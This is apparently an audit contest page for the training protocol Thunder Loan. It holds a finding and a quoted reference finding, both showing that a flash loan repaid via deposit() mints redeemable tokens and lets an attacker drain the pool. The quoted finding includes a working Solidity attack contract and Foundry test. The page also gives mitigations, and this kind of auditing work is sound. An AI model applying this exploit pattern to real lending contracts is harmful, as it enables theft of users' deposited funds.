Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash Loan Can Be Repaid Through `deposit()`, Allowing Borrowed Funds To Be Converted Into Redeemable AssetTokens

Flash Loan Can Be Repaid Through deposit(), Allowing Borrowed Funds To Be Converted Into Redeemable AssetTokens

Summary

The protocol allows a borrower to satisfy the flash loan repayment check by depositing the borrowed funds back into the pool through deposit() instead of repaying via repay().

Because deposit() mints AssetTokens to the caller, the attacker can convert borrowed funds into a redeemable claim on the protocol's liquidity while only paying the flash loan fee.

Vulnerability Details

During a flash loan, the protocol transfers the borrowed funds to the receiver and executes the callback:

s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);

After the callback completes, the protocol only verifies the final balance of the AssetToken contract:

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

The protocol does not enforce repayment through repay().

An attacker can therefore call:

deposit(token, amount);

from within the flash loan callback.

The deposited tokens restore the pool balance and satisfy the repayment condition. However, deposit() also mints AssetTokens:

assetToken.mint(msg.sender, mintAmount);

As a result, the attacker receives a redeemable claim on the protocol despite using borrowed funds.

After the flash loan completes, the attacker can redeem the minted AssetTokens and withdraw the deposited funds.

Impact

An attacker can transform flash-borrowed liquidity into redeemable AssetTokens while paying only the flash loan fee.

The protocol incorrectly treats deposits as loan repayments even though deposits create a liability for the protocol in the form of newly minted AssetTokens.

This allows an attacker to acquire ownership of protocol liquidity for only the cost of the flash loan fee.

Proof of Concept

Assume:

  • Pool liquidity = 1,000 tokens

  • Flash loan amount = 100 tokens

  • Fee = 0.3 tokens

Step 1

Borrow 100 tokens via flash loan.

Pool balance:

1000 -> 900

Step 2

Within executeOperation(), deposit the borrowed funds:

token.approve(address(thunderLoan), amount);
thunderLoan.deposit(token, amount);

The protocol mints AssetTokens to the attacker.

Pool balance returns to:

900 -> 1000

Step 3

Send the required fee to the AssetToken contract so that:

endingBalance >= startingBalance + fee

The flash loan completes successfully.

Step 4

After the flash loan transaction has finished, redeem the AssetTokens:

thunderLoan.redeem(token, assetToken.balanceOf(attacker));

The attacker withdraws the deposited funds while having only paid the flash loan fee.

Recommended Mitigation

Prevent deposits from being performed while a flash loan is active for the same asset:

if (s_currentlyFlashLoaning[token]) {
revert();
}

inside deposit().

Alternatively, enforce repayment exclusively through repay() and track the exact amount repaid during the flash loan lifecycle instead of relying solely on the final token balance.

This ensures that flash loan debt cannot be converted into redeemable AssetTokens.

Or, add a nonReentrant() modifier to both flashloan() and deposit().

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!